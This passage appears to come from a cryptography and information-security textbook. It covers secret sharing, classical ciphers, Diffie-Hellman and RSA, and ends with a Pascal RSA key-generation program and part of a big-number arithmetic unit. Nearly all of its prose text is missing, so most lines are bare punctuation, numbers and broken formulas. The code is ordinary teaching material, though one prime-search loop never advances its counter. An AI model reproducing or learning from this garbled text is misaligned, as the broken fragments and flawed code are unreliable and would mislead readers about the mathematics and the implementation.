( ), . .
,
, ,
. -

327

. .
.
.

, . (
) 95%.
,
.
, . : , , , ..

, , . , .
,
, , .


, ,
,
, ,
, .
,
() . ,
.
.
. , (, t),
, t , .
, , . (-

328

17.

, ). (, t) .
(, t). = , ( ).

, .
, , .
(, t) , .



, , .
, , . ,
, .
, ,
( , , ). ,
. .
() . ,
, .
() , : -,
, , -,
.
, . : , ..
, .
(
- ), . . , .
.

329

, , . .
:
;
;
() ;
;
.
,
.
, ,
, . .
1. , , :

, , .
2. , -

, , .
3. .

,
, : , ;
;
.

, , (, , ..). , ,
,
. ,
. .
:
, .
() ,
()
. -

330

17.

, .
,
. ,
.

() . . .
, ()
. . : . , , ..
.
. ,
. .
,
. ,
.
, .

. .
,
,
. .
1. , .
2. :

, ,
, , ..;
, ,
..;

331

, ,
..

3. , -

, .
4. .
5. (-

, , , , ).
6. , .


,
.
, .

, , , .
:

;
, ,
;
, ;
.
, , , . ( ),
.

-

332

17.

. , -, () , -, , , -, .
, .
1. ,
(
) , ( , , ).
.
2. , ..

( ), .
3. , .. (
) .
4. ,

.
5. , .
,
.
, .

(
..).
, . , , (, ,
). . , ,
.
.


- , , () .

333

( ) .
.
,
.
( ) . , .
.

.

. ,
, , .
. ,
, DOS ..

. , ;
.

, , .
.
.
, ;
, ;
.
.

.

334

17.

, , , ,
. . ,
.
:
;
;
, , ..
, , ;
;
;

;
;
;
.
, ,
.



, .

.
, .
.

, , , , .
. , ,
, .. . , , , , .
.

335

-,
.
, , .
.
, ,

, , ,
, .

( )
, .
()
, , .

18


. , , , , . .
, , . , . ,
, .

, ,
, -. ,
, .
. , .
.


() .
, , .
. , , .
, ,
. , . ,
: , , ,
, ..

337

, , :
,
;
, .
(), .
.
, ,
( ) ,
.
.
: , .
, :
.
:
,
, , - .
. , , ,
.
.
,
, .
, , .
( ) () .
, .. , .
, , , .
, .

338

18.

, .
. ,
. , , .
, .
.
, : . ( )
. : , .. , , ..
. , , . ,
,
.


.
, . , . , , XX ,
. XX ,
. .

.
( , V ..). , .
, .
(VIII )
.
. (1462-1516 .)
. 1566 . .
( ). XVI IX .
1700 , I.

339

.
: . . -.
.
.
. , . , . :
( )
; ,
. , . , .
, . ,
, .
. :
, , .. . ,
, .
, .
, ,
, . , , ,
.
. . ,
. , ,
. , . ,
. , , ,
,

319131913191

340

18.

, - , .
, . , .
.
.
40- XX ,
, ,
.
, ,
. , , .
(70- ) : ,
. .
, , .
:
;
,
, ;
,
;
. ;
, , ;
.



, . ,
. 18.1.

341

, . : (), , ,
. .
, ( )
(, , - ..). : .
(, , ). . .
- . - ,
() ,
.
.

.

342

18.

. 18.1.


( ) . :
, ;
,

. , .

343

, .
1. , ..
,
2. - .
3. - , ,

.
4. - , ,
.
5. -

.
.

.
,
,
( , ,
, ).
,
.
,
. , , . 3 .
, . ,
. . 4 . , ,
. 5.
, . 1,
.
-, () , .
-, . . ,
(
).

344

18.


. , ,
(). .
1. - , .
2. -


.
:
. ,
;
, .
-
.
,
, . 4
.

, .


, .
. ,
16 . ,
, , . , , (, ).
16 , , 8 ,
8 . , , , , ?!
, , ,
, 1 . ,
, , .

345

, ( )
. , 16 ,
, , , , 10 . , 1016
, ,
100 .
,
. ,
, () n ,
(
), . .
1979 , (n, k)- (..
k ).
, .., , , . , , ,
. , , , . - , .
, {L0, , Ln} L K ,
A {1, , n} {La: a A}
L0 , 0. ,
, A {1, , n} ,
{La: a A} L0 . . ,
K (|K| = q) {L0, , Ln} , n (n, k)-
(k > 1)? , {h0, , hn} , k , h0, , k +
1 , h0, . ,
, , : k , k + 1 . -

346

18.

N- (N = n + 1)
PG(k1, q), k = 1, .
N = q + 1. , N, : q < k, N = k + 1,
q = 2m, k = 3 k = q 1, N = q + 2.


. n+1 S0, S1, , Sn
() P S = S0 *
* Sn. Si.
{1, , n}, .

18.1
(P,S) ,
,
P(S0 = c0 | Si = ci, i A) {0, 1} A ,

(18.1)

P(S0 = c0 | Si = ci, i A) = P(S0 = c0) A

(18.2)

. S0
, s0 p(s0),
, s0 n , s1, , sn PS0 (s1, , sn). , -
si Si , Si, p(s0)
PS0(s1, , sn). : P(s0,
s1, , sn) = p(S0)PS0(s1, , sn), . ,
, , :
A (. . A )
(18.1);
, ( ),
s0, .., , S0 = c0, Si (18.2).
.
, , share (. )
shadow (. ). , ( )
.

347

18.1. S0 0, 1 2, , : ; , ;
, Z. , , .
XY,
XZ. , , .
, ,
(, , ).
. () x {1, , n}
( ), x
. ,
, . , , ,
. , ,
, .. , .
18.2. (n,n)- ,
.. ,
.
, , Zq q, .. S0 = S1
= = Sn = Zq. n1 Zq
i - ( = 1, ... , n-1) si = xi,
n- sn = s0 (s1 + + sn-1). n- , PS0(s1,, sn),
1/qn1, s0 = s1 + + sn, 0. (18.2), S0 {Si: } .
, , , , ,
. M * (n + 1)- V,
v = (v0, v1, , vn), vi Si, , . s0 v
V, s0.

18.2
V , , , -, V , , , V
.

348

18.

, (P, S), V,
s S, P(s) > 0. , 1 P , (18.1) (18.2)
, 2.
, V , 1, P(s) .
18.2 ( ).
(n,n)- .
V s , s0 + s1 + + sn = 0. , V ={1, , n}, {1, , n}
V qn1 |A|.
, 2 , ,
, .
, , .. , (|A|, |A|)-, - c
siA, .
V ,
. , ,
, , ,
. , (|A|, |A|)- , ..
min, min ( ) . , (n, n/2)- (,
, ) Cnn/2 ~ 2n/ 2n (
). ,
, , ..
.
,
. , R(n)
= max R(), max n , R() =
|Si|
min max log
, min ,
log |S0|
, max = 1, ..., n. , R(n) Cnn/2n.
, R(n) n/log n.
(, R(n)
n ).


. = GF(q) q (, q
= p = Zp) q > n. n -

349

{a1, , an} a0 = 0. s0
k1 GF(q) fj (j = 1, , k1) - ( = 1, ..., n) s i =
f(a i ) f(x) = f0 + f1x + + fk-1xk-1, f0 = s0. k-1 k
(, ), k
f(x) , ,
s0 = f(0). k1 , si s0 , .. , si = f(ai) s0 = f(0). ,
2.
, - :

s = fH,

(18.3)

s = (s0, , sn), f = (f0, , fk1), k (n+1) H = (hij) = (aij-1) h00 = 1.


, k , H q, q+1
, .
(18.3) H r (n + 1)-
K. , . , , h0 {hj: j A}, hj
j- H. V, ,
, (18.3), H.
(18.3)

sj = (f, hj) j = 0, 1, , n,
(f, hj) f hj. , .. h0 =
jhj,

s0 = (f, h0) = (f, jhj) = j(f, hj) = jsj


, , . , h0 {hj: j A}. ,
V . , (18.3)
fi ,
,
,
.
. : c (.. ). h0 -

350

18.

{hj: j A}, 1
. ,
, s0.
.
si = (s1i, , smi i) si = fHi, Hi r mi-.
Hi Li (..
- Hi). , ( mi = 1), , , {L0, , Ln} Kr .
{La: a A} L0 . ,
( ),
{La: a A} L0 0.
, L0 {La: a
A} , ,
, .. .
18.3. , min = {{1,2}, {2,3}, {3,4}}.
, . , , R() 3/2. , , H0, H1, ..., H4, . 18.2, R = 3/2,
, , , ( ) .

. 18.2. ,


. .
, 1, (18.2)
.
{0, 1, , n} VB M |B|, V , . ||W|| W.

351

18.3
V - , ,
||VA0|| = ||VA|| ||V0|| (),

(18.4)

() = 0, , () = 1 .
1 2 , , , V
,
( 2 1). , - , .
, V, {0, 1, , n} h(A) = logq ||VA||, q = |S0|. ,
max{h(A), h(B)} h(A B) h(A) + h(B) ,
(184)

hq(VA0) = hq(VA) + () hq(V0)


. - {A i} , h(i)
h(0).
.

h(A 0) = h(A) + h(0) h(A i 0) = h(A ). ,


h(A) + h(i) h (A ) = h (A 0) h(A 0) = h(A) + h(0)
, {1, , n} , ..
, {A } ,
. - |Si| |S0| = 1, ..., n.
, , . - , |Si| = |S0| = 1, ..., n.
. |Si| |S0|
, - .
, ( ) . , .
.
I , ( ), :

352

18.

I;

(18.5.1)

A I B A, B I;

(18.5.2)

A, B I |A| = |B| + 1,
a A\B , a B I.

(18.5.3)

18.4. , .
,

, .. . , ,
, (.. ),
.
18.5. ( ). : = {1, 2, 3, 4,
5, 6, 7, 8} a = {1, 2}, b = {3, 4}, c = {5, 6} d = {7, 8}. , a c, a d, b c, b d, c d, . ,
.
r(A) , . , ( ) r(A) = |A|.

r(A) Z; r() = 0;

(18.6.1)

r(A) r(A b) r(A) + 1;

(18.6.2)

r(A b) = r (A c) = r(A), r (A b c) = r(A).

(18.6.3)

, r(A) (18.6). , r(A) = |A|. ,


r . , .
, .
.
. - ,
,

log|S0| ||VA|| = |A|, {0, 1,, n}.


, 0, 0 , min.
. h(A). , h(A) (6)

353

, ,
.
, ,
, ,
, , . , .
. ,
? , ,
.
, .
, , . , , , , .
, , , , . , , . , , ?



: (
) (
, ).
,
, . ,
, , - .
. , .


, .
,
.
, (. 18.3).

354

18.

. 18.3. ,

, ,
.
,
Sk

= Sk(P). , , S-1k

S-1k (C) = S-1k [Sk (P)] =P


Sk , , , .
, , .
,
, , .
,
(Sk)K Sk:
. , ,
.
. , , , :
- ,
. , , .
, , , ..

355


, (. 18.4).

. 18.4. ,


, , . , , .
'
' .
'
' , .


.

, ,
, .
.
,
, , , . , ,
,
. , , , , ,
,
. ,
.

356

18.

, ,
. , . , .
, ,
,
.
n , 2. ,
.
,
2n , 2n
.
- , ,
. .
,
, . , , .
, XMDA,
.
, , . N0. , N0 = ,
N0 .
.
.

N0 =

H(K)
D

(18.7)

H(K) ( , ,
log2 ), D , 1 .
(, Q U,
.) , (18.7)

H(K) N0D

(18.8)

357

H(K) ,
N0D ,
. ,
. , .. (18.8), ,
.
, (.. , ) ,
, .
(18.7) , .
, 25 ,
, . , 26!
4.1026 ,
. , , N0 = 25 .
H(K) = , , (7), N0 = .
H(K) = log2(26!) = 88,4 , N0 D. log2(26) = 4,7
, . , 1,5 . 3,2 , D = 3,2 /. , (18.7) N0 = 28 , .
, 1000
100 ,
3200 , (900 ) (3,2 /) + (100 ) (4,7 /) = 3350 .
, . . N0 = , .
, .
, , . , .
, ,
. -

358

18.

( ), , , ,
, ..
:
, ;
;
( !)
.

.
: ,
, , ,

. .
1. , -

. , , .
2. ,

.. , , .
3.
.
: ( , )
( , ).


: , . , .
, .
, , , ,
.
.

359

()
, ,
, ( ) ( ) . ,
.
, ( , ) .
,
.
, . , - ( ) .
, , .. , ..
, .
.
.
n2 , n
. . , . . ,
. , ,
.
:
( );
,
,
;
.
, . , , .. , -

360

18.

. , .. .
, ,
.
,
. ,
. , , .
. :
( ) ;
.
,
0 10. .
. , ,
. . , , .
, () , , . , , ,
. , , .

:

tci = tpi + mod (K 1)


tci ; tpi ; 0 (1); .
, ,
1, 2, , n, n.

361

n > m ( m ) 1, 2, , n ,
,
. .


,
.
: ,
.

:
;
;
,
( , ).
:

:
: 5 8 1 3 7 4 6 2
:
5 8 1 3 7 4 6 2
O

( )
2 :
1 2 3 4 5 6 7 8

,

. .
. , ,
.

362

18.

,
, . , ( 10 10). ,
, . ,
. .
m n S (m n , S ). .
, ,
, .


,
.
, , (. 18.5).
,
.


. , ,

||aij|| bj = Cj = aijbj
j

363

. 18.5. .
"",
"" () "" ()
||aij|| , bj
, Cj
.
,
:

14 8 3
8 5 2

3 2 1
, : = 0; = 1; = 2 .. ( )
3, 0, 19, 0, 12, 0. :

14 8 3 3 99
8 5 2 0= 62,


3 2 1 19 28

14 8 3 0 96
8 5 2 12= 60


3 2 1 0 24

, :

99, 62, 28, 96, 60, 24



, , ,
, - . - .

364

18.

,
, .
, .
. , ,
, .. tc = (tp + tg) mod , tc, tp, tg , .
, 2. 2 ,
. ,
.
. .
.

. , . , ,
, : .

, , . . ,
.


, ,
, . , , (, , ..).

, .. .

365

Sk S: Sk Si.
, -
Sk (,
),
Ri < R*, Ri i- , i
; R* ,
Sk.
,
:
+ ;
+ ;
+ ;
+ .

(DES).

, , ,
, . ,
. .

, , , ,
.
, . ,
,
. ,
,
. .

, .
, .

. ,
.

366

18.

, . , , , ,
.
, . . . . ,
, 90 , . , , , . , (
) , , ,
.
, ,
.

. .
/
. / ,
, , . . ,
.



. , ,
, , ,

- . . 18.6, ,
. , , , , .

367

. 18.6.
. ,
. , , . , .
,
, ,
. , ,
. ,
, .
, :
,
( ) , .. ;
, , ,
.
F(x) = x (mod p),
, x , G F(p).
G F(p), ,
. , .
, x (mod p), .. , .
, , ,
.
.

368

18.

xA xB . .
:

A = xA (mod p), B = xB (mod p)


. ,
B xA, :
xA

xA

B = (xB) (mod p)
:
xB

xB

A = (xA) (mod p)
, ,
.
, p, , xA, xB, xA, xB
xAxB. , , , .
,

, .

{EK}K{K} {K}K{K},

EK:{M}{m}
,
K:{M}{m}
{M} .
1. K{K}

K EK , .. ()

= .
2. K{K} M{M} () ().
3. K{K}

- , .
4. K{K} .

3
. ,
( ) ,
.
4
, ,
. -

369

, E K.
. . ,
.
, , , .
14 ,
K{K} EK K, .. () = , , , . EK , K .
, , , .


( ) .
F. . , , (x,y), x , F: x y ,
, y F(y) = x.
F .
1. x, ..

FK(y) = x, , ; , .
3. , ,
.. FK.
4. -

.
5.

(x,y) , , -

.
.
? , .
FK, , . x
FK .
, ,

370

18.

. , ,
.
, .
,
. , , ,
.
: .

RSA
,
.

, , -
.
,
..

, .
() . , ()
.

1976 .
,
k = (, d, n), e , d . d
() .
, . (
e) , , ,
d.
, , e
d.
, .

RSA

371

RSA, 1977 :
, .

n ( ).


1. , -

.
2. ,
, .

(a,b) ( (a,b))
, a, b.

3.

a > b d = (a,b). x ,
xa + yb = d. d = 1, a b .
5. . a b, .. = q1b + r1. a b, b r1: b = q2r1+ r2. b r1,
r1 r2: r1 = q3r2 + r3 .. k+1,
rk+1= 0. (a,b) = rk. .
4.

(1547, 560)
1547 = 2 560 + 427
560 = 1 427 + 133
427 = 3 133 + 28
133 = 4 28 + 21
28 = 1 21 + 7
21 = 3 7 + 0
(1547,560)=7

xa + yb = d , , ,
, . , r2 =
q4r3 + r4 r4 = r2 +q4r3. r3 ,
r1 = q3r2 + r3, .. r4 = r2 q4(q3r2 r1). r4 = (1 q4q3)r2
+ q4r1. , r4
, , , . , , r4
a b. r4, rk, rk = xa + yb = d.
.

6.

1547 + 560y = 7

372
7
=
=
=

18.

= 28 1
5 (427 21 427 21 547 -

21 = 28 1 (133 4 28) = 5 28 - 1 1 =
3 133) 1 13 = 5 427 16 (560 - 1 427)=
16 560 = 21 (1547 - 2 560) - 16 560 =
58 560

: x = 21, y = -58

a b n, a b n. : = b(mod n). , , = A(mod n) A n. (a,n) = 1, x, , x = a-1 (mod n).

7.

, (a,n) = 1 = d = ax + ny, ax = 1(mod n). x n a-1 (mod n).

(n), n , , n, (,n)=1. .
n n = pi (pi ) (n) =
i
(pi 1).

8.

= 1. a(n) = 1(mod n).


. ed = 1(mod (n)) (a, n) = 1, (e)d = (mod n).
(n)
10. n = pq a
= 1(mod n) , a.
k(a), ak(a) = 1(mod n), a n rdn(a). a rdn(a) (n).
9. . (,n)

RSA
RSA m size(n), ,
: c = me(mod n).
n = pq, p q , .
e n. e 1
< e < (n), : (e, (n)) = 1, (n) p1 q1. , x, y xe + y(n) = 1,
d = , .. ed = 1((n)). m med = m(n),
d .
, .
1.

RSA

373

2. -

. ( ) .

.
RSA .
1. p

= 3 q = 11.
= 3 11 = 33.
3. (n) = (p 1)(q 1) = 20.
4. e, 20, , e = 7.
5. d, 7d = 1(md 20).
2. n

, d = 3(md 20).

: = 1, B = 2, = 3, ..., Z = 26. size(n) = 6, ,
, (e, n) = (7, 33)
,
. CAB,
(3, 1, 2).
:
RSA(C) = RSA(3) = 37 = 2187 = 9(mod 33);
RSA(A) = RSA(1) = 17 = 1(mod 33);
RSA(B) = RSA(1) = 27 = 128 = 29(mod 33).
(9, 1, 29), (d, n) = (3, 33), d = 3:
93 = 729 = 3(md 33);
13 = 1(md 33);
293 = 24389 = 2(md 33).
. , .. size(n):
512768 ;
1024 ;
2048 .
RSA 18.1 18.2 ( Delphi, FreePascal).

374

18.

18.1. RSA Pascal


program Rsa;
{$APPTYPE CONSOLE}
{$IFDEF FPC}
{$MODE DELPHI}
{$ENDIF}
uses SysUtils, uBigNumber;
//
var t: array[0..255] of Byte;
var pos: Integer;
var cbox: array[0..255] of Byte =
(237, 240, 161, 1, 130, 141, 205, 98, 27, 169, 181, 202, 173,
47, 114, 224, 35, 183, 79, 82, 153, 220, 172, 22, 17, 11, 200,
131, 14, 154, 167, 91, 250, 31, 213, 112, 126, 241, 236, 155,
198, 96, 87, 143, 244, 151, 134, 38, 129, 233, 186, 101, 41,
94, 231, 115, 113, 199, 51, 145, 229, 37, 69, 180, 85, 33, 207,
163, 102, 187, 4, 89, 7, 44, 75, 88, 81, 120, 10, 232, 221,
168, 230, 158, 247, 211, 216, 156, 95, 64, 242, 215, 77, 165,
122, 5, 15, 119, 100, 43, 34, 48, 30, 39, 195, 222, 184, 92,
78, 135, 103, 166, 147, 32, 60, 185, 26, 251, 214, 90, 139, 45,
73, 150, 97, 116, 136, 68, 219, 248, 191, 192, 16, 8, 243, 50,
132, 105, 62, 201, 204, 65, 0, 99, 182, 121, 194, 108, 160,
170, 56, 226, 206, 254, 117, 178, 9, 197, 234, 127, 58, 171,
40, 29, 177, 142, 3, 228, 188, 162, 212, 157, 49, 175, 174,
140, 70, 106, 123, 66, 196, 246, 179, 42, 218, 71, 217, 227,
18, 164, 24, 67, 159, 25, 111, 255, 193, 245, 2, 238, 133, 21,
137, 152, 109, 148, 63, 124, 203, 104, 54, 55, 223, 80, 107,
210, 225, 149, 252, 76, 12, 189, 93, 46, 23, 13, 36, 209, 61,
249, 110, 144, 86, 52, 253, 72, 28, 53, 57, 125, 59, 235, 84,
128, 208, 146, 20, 74, 6, 239, 190, 83, 19, 138, 118, 176);
procedure InicMyRandom;
var i: Integer;
var s: string;
begin
WriteLn(' -
( 256 ):');
ReadLn(s);
i := 1;
while (i<=255) and (i<=Length(s)) do

RSA

375

18.1
begin
t[i] := Ord(s[i]);
Inc(i);
end;
pos := 0;
WriteLn('OK');
WriteLn;
end;
function MyRandom: Cardinal;
var i: Integer;
var l: Cardinal;
begin
if (pos = 0) then
begin
for i := 1 to 255 do
t[i] := cbox[(t[i-1]+t[i]) and 255];
for i := 254 downto 0 do t[i] := cbox[(t[i]+t[i+1]) and 255];
end;
l := 0;
for i := 0 to 3 do l := l shl 8 + Cardinal(t[pos+i]);
Result := l;
pos := (pos+4) and 255;
end;
//------------------------------------------------------------//
var i,j: Integer;
var maxbit: Integer;
var none,ntwo: TBigNum;
var n1,n2: TBigNum;
var p,q,z: TBigNum;
var n,e,d: TBigNum;
var s1,s2: string;
begin
WriteLn;
InicMyRandom();
repeat
Write(' (p q)
(8-257): ');
ReadLn(maxbit);

376

18.

18.1
until (maxbit>=8) and (maxbit<=257);
//p
WriteLn(' ,
(Enter
-> ): ');
ReadLn(s1);
BN_dec_to_bignum(s1,p);
BN_bignum_to_dec(p,s2);
if (s1<>s2) then
begin
if (s1<>'') then WriteLn(' !');
s1 := '0'; BN_dec_to_bignum(s1,p);
for i := 0 to BIGNUM_DWORD do n1[i] := MyRandom();
BN_a_shr_k(n1,(BIGNUM_DWORD+1)*32-maxbit,p);
BN_bignum_to_dec(p,s2);
WriteLn(' : ',s2);
end;
WriteLn(' ... ...');
p[0] := p[0] or 1;
s1 := '2'; BN_dec_to_bignum(s1,ntwo);
j := 0;
while (BN_PrimeTest(p)=0) and (j<8192) do
begin
BN_a_add_b(p,ntwo,n1);
Move(n1,p,sizeof(n1));
Inc(j);
Write('.');
end;
WriteLn;
if (j>=8192) then
begin
WriteLn(' , !');
WriteLn(' Enter .'); ReadLn;
Halt(1);
end;
BN_bignum_to_dec(p,s1);
WriteLn(' p = ',s1);
//q
WriteLn(' ,
(Enter
-> ): ');

RSA

377

18.1
ReadLn(s1);
BN_dec_to_bignum(s1,q);
BN_bignum_to_dec(q,s2);
if (s1<>s2) then
begin
if (s1<>'') then WriteLn(' !');
s1 := '0'; BN_dec_to_bignum(s1,q);
for i := 0 to BIGNUM_DWORD do n1[i] := MyRandom();
BN_a_shr_k(n1,(BIGNUM_DWORD+1)*32-maxbit,q);
BN_bignum_to_dec(q,s2);
WriteLn(' : ',s2);
end;
WriteLn(' ... ...');
q[0] := q[0] or 1;
s1 := '2'; BN_dec_to_bignum(s1,ntwo);
j := 0;
while (BN_PrimeTest(q)=0) and (j<8192) do
begin
BN_a_add_b(q,ntwo,n1);
Move(n1,q,sizeof(n1));
Write('.');
end;
WriteLn;
if (j>=8192) then
begin
WriteLn(' , !');
WriteLn(' Enter .'); ReadLn;
end;
BN_bignum_to_dec(q,s1);
WriteLn(' q = ',s1);
WriteLn;
//n = p*q
BN_a_mul_b(p,q,n);
BN_a_div_b(n,q,n1);
if (BN_a_cmp_b(p,n1)<>0) then
begin
WriteLn(' , p*q !');
WriteLn(' Enter .'); ReadLn;
Halt(1);
end;
BN_bignum_to_dec(n,s1);

378

18.

18.1
WriteLn('n = p*q = ',s1);
// z =(p-1)*(q-1)
s1 := '1'; BN_dec_to_bignum(s1,none);
BN_a_sub_b(p,none,n1);
BN_a_sub_b(q,none,n2);
BN_a_mul_b(n1,n2,z);
BN_bignum_to_dec(z,s1);
WriteLn('z = (p-1)*(q-1) = ',s1);
// d
WriteLn(' ,
(Enter ->
): ');
ReadLn(s1);
BN_dec_to_bignum(s1,d);
BN_bignum_to_dec(d,s2);
if (s1<>s2) then
begin
if (s1<>'') then WriteLn(' !');
s1 := '0'; BN_dec_to_bignum(s1,n1);
for i := 0 to BIGNUM_DWORD do n1[i] := MyRandom();
BN_a_mod_b(n1,z,d);
BN_bignum_to_dec(d,s2);
WriteLn(' : ',s2);
end;
WriteLn(' ... ...');
d[0] := d[0] or 1;
s1 := '1'; BN_dec_to_bignum(s1,none);
s1 := '2'; BN_dec_to_bignum(s1,ntwo);
j := 1;
BN_ab_GCD(d,z,n1);
while (BN_a_cmp_b(n1,none)<>0) and (j<1000) do
begin
BN_a_add_b(d,ntwo,n1);
Move(n1,d,sizeof(n1));
BN_ab_GCD(d,z,n1);
j := j+1;
end;
BN_ab_GCD(d,z,n1);
if (BN_a_cmp_b(n1,none)<>0) then
begin
WriteLn(' , !');

RSA
18.1
WriteLn(' Enter .'); ReadLn;
Halt(1);
end;
WriteLn;
BN_bignum_to_dec(d,s1);
WriteLn(' d = ',s1);
WriteLn;
// e
WriteLn(' ...');
BN_a_modinv_b(d,z,e);
BN_bignum_to_dec(e,s1);
WriteLn(' e = ',s1);
WriteLn;
//e*d mod z = 1 ?
BN_a_mul_b(e,d,n1);
BN_a_mod_b(n1,z,n2);
if (BN_a_cmp_b(n2,none)<>0) then
begin
WriteLn(': e*d mod z <> 1!');
WriteLn(' Enter .'); ReadLn;
Halt(1);
end;
WriteLn('e*d mod z = 1');
WriteLn;
// .
WriteLn(' (Enter
-> ):');
ReadLn(s1);
BN_dec_to_bignum(s1,n1);
BN_bignum_to_dec(n1,s2);
if (s1<>s2) then
begin
if (s1<>'') then WriteLn(' !');
s1 := '0'; BN_dec_to_bignum(s1,n1);
for i := 0 to BIGNUM_DWORD do n1[i] := MyRandom();
end;
n1[7] := 0;
BN_a_mod_b(n1,n,n2);
BN_bignum_to_hex(n2,s2);

379

380

18.

18.1
WriteLn('
= 0x',s2);
BN_a_exp_b_mod_c(n2,e,n,n1);
BN_bignum_to_hex(n1,s1);
WriteLn(' = 0x',s1);
BN_a_exp_b_mod_c(n1,d,n,n2);
BN_bignum_to_hex(n2,s1);
WriteLn(' = 0x',s1);
if (s1<>s2) then
begin
WriteLn(':
!');
WriteLn(' Enter .'); ReadLn;
Halt(1);
end;
WriteLn('OK');
WriteLn;
// .
WriteLn('--------------------------------------------------');
BN_bignum_to_hex(e,s1);
WriteLn(' e = 0x',s1,' (',BN_a_upbit(e),'bit)');
BN_bignum_to_hex(d,s1);
WriteLn(' d = 0x',s1,' (',BN_a_upbit(d),'bit)');
BN_bignum_to_hex(n,s1);
WriteLn(' n = 0x',s1,' (',BN_a_upbit(n),'bit)');
WriteLn('--------------------------------------------------');
WriteLn;
WriteLn(' :
',IntToStr(BN_a_upbit(n)-1),' ');
WriteLn(' :
',IntToStr(BN_a_upbit(n)),' bit');
WriteLn;
WriteLn(' Enter .'); ReadLn;
end.
18.2. uBigNumber
unit uBigNumber;
{$IFDEF FPC}
{$MODE DELPHI}
{$ASMMODE INTEL}
{$ENDIF}

RSA

381

18.2
interface
const BIGNUM_DWORD = 31;
type TBigNum = array[0..BIGNUM_DWORD] of Cardinal;
procedure BN_bignum_to_hex(var a: TBigNum; var s: string);
procedure BN_hex_to_bignum(var s: string; var a: TBigNum);
procedure BN_bignum_to_dec(var a: TBigNum; var s: string);
procedure BN_dec_to_bignum(var s: string; var a: TBigNum);
function BN_a_cmp_b(var a,b: TBigNum): Integer;
procedure BN_a_add_b(var a,b,res: TBigNum);
procedure BN_a_sub_b(var a,b,res: TBigNum);
procedure BN_a_mul_b(var a,b,res: TBigNum);
procedure BN_a_shl_k(var a: TBigNum; k: Integer;
var res: TBigNum);
procedure BN_a_shr_k(var a: TBigNum; k: Integer;
var res: TBigNum);
function BN_a_upbit(var a: TBigNum): Integer;
procedure BN_a_setbit_k(var a: TBigNum; k: Integer);
procedure BN_a_mod_b(var a,b,res: TBigNum);
procedure BN_a_div_b(var a,b,res: TBigNum);
procedure BN_a_exp_b_mod_c(var a,b,c,res: TBigNum);
procedure BN_ab_GCD(var a,b,res: TBigNum);
procedure BN_a_modinv_b(var a,b,res: TBigNum);
function BN_PrimeTest(var a: TBigNum): Integer;
implementation
uses SysUtils;
var primes: array[0..53] of Integer =
( 2,
3,
5,
7, 11, 13, 17, 19, 23, 29, 31, 37,
41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89,
97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151,
157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223,
227, 229, 233, 239, 241, 251);
procedure BN_bignum_to_hex(var a: TBigNum; var s: string);
var i: Integer;
begin
i := BIGNUM_DWORD;
while (i>=0) and (a[i]=0) do Dec(i);

382

18.

18.2
s := '0';
if (i<0) then Exit;
s := '';
while (i>=0) do
begin
s := s + IntToHex(a[i],8);
Dec(i);
end;
while (Length(s)>1) and (s[1]='0') do Delete(s,1,1);
end;
procedure BN_hex_to_bignum(var s: string; var a: TBigNum);
var i,j,l: Integer;
var n1,n2,n3,n4: TBigNum;
var n16: TBigNum;
begin
for i := 0 to BIGNUM_DWORD do a[i] := 0;
for i := 0 to BIGNUM_DWORD do n16[i] := 0; n16[0] := 16;
for i := 0 to BIGNUM_DWORD do n1[i] := 0; n1[0] := 1;
for i := 0 to BIGNUM_DWORD do n2[i] := 0;
l := Length(s);
for i := l downto 1 do
begin
j := Ord(UpCase(s[i]));
case j of
Ord('0')..Ord('9'): j := j - Ord('0');
Ord('A')..Ord('F'): j := j - Ord('A') + 10;
else Exit;
end;
n2[0] := Cardinal(j);
BN_a_mul_b(n1,n2,n3);
BN_a_add_b(a,n3,n4);
Move(n4,a,sizeof(n4));
BN_a_mul_b(n1,n16,n3);
Move(n3,n1,sizeof(n3));
end;
end;
procedure BN_bignum_to_dec(var a: TBigNum; var s: string);
var i: Integer;
var n1,n2: TBigNum;

RSA
18.2
var nzero,nten: TBigNum;
begin
for i := 0 to BIGNUM_DWORD do nzero[i] := 0;
for i := 0 to BIGNUM_DWORD do nten[i] := 0; nten[0] := 10;
s := '0';
if (BN_a_cmp_b(a,nzero)=0) then Exit;
Move(a,n1,sizeof(a));
s := '';
repeat
BN_a_mod_b(n1,nten,n2);
s := Chr(n2[0]+48)+s;
BN_a_div_b(n1,nten,n2);
Move(n2,n1,sizeof(n2));
until (BN_a_cmp_b(n1,nzero)=0);
while (Length(s)>1) and (s[1]='0') do Delete(s,1,1);
end;
procedure BN_dec_to_bignum(var
var i,j,l: Integer;
var n1,n2,n3,n4: TBigNum;
var nten: TBigNum;
begin
for i := 0 to BIGNUM_DWORD do
for i := 0 to BIGNUM_DWORD do
for i := 0 to BIGNUM_DWORD do
for i := 0 to BIGNUM_DWORD do
l := Length(s);
for i := l downto 1 do
begin
j := Ord(s[i])-48;
if (j<0) or (j>9) then Exit;
n2[0] := Cardinal(j);
BN_a_mul_b(n1,n2,n3);
BN_a_add_b(a,n3,n4);
Move(n4,a,sizeof(n4));
BN_a_mul_b(n1,nten,n3);
Move(n3,n1,sizeof(n3));
end;
end;

s: string; var a: TBigNum);

a[i] := 0;
nten[i] := 0; nten[0] := 10;
n1[i] := 0; n1[0] := 1;
n2[i] := 0;

function BN_a_cmp_b(var a,b: TBigNum): Integer;


var i: Integer;

383

384

18.

18.2
begin
i := BIGNUM_DWORD;
while (i>=0) and (a[i]=b[i]) do Dec(i);
Result := 0;
if (i>=0) and (a[i]>b[i]) then Result := 1;
if (i>=0) and (a[i]<b[i]) then Result := -1;
end;
procedure BN_a_add_b(var a,b,res: TBigNum);
begin
asm
pushad
mov esi,[a]
mov edi,[b]
mov ebx,[res]
mov ecx,BIGNUM_DWORD
mov eax,[esi]
add eax,[edi]
pushfd
mov [ebx],eax
add esi,4
add edi,4
add ebx,4
@_add_1:
mov eax,[esi]
popfd
adc eax,[edi]
pushfd
mov [ebx],eax
add esi,4
add edi,4
add ebx,4
loop @_add_1
@_add_2:
popfd
popad
end;
end;
procedure BN_a_sub_b(var a,b,res: TBigNum);
begin
asm

RSA
18.2
pushad
mov esi,[a]
mov edi,[b]
mov ebx,[res]
mov ecx,BIGNUM_DWORD
mov eax,[esi]
sub eax,[edi]
pushfd
mov [ebx],eax
add esi,4
add edi,4
add ebx,4
@_sub_1:
mov eax,[esi]
popfd
sbb eax,[edi]
pushfd
mov [ebx],eax
add esi,4
add edi,4
add ebx,4
loop @_sub_1
@_sub_2:
popfd
popad
end;
end;
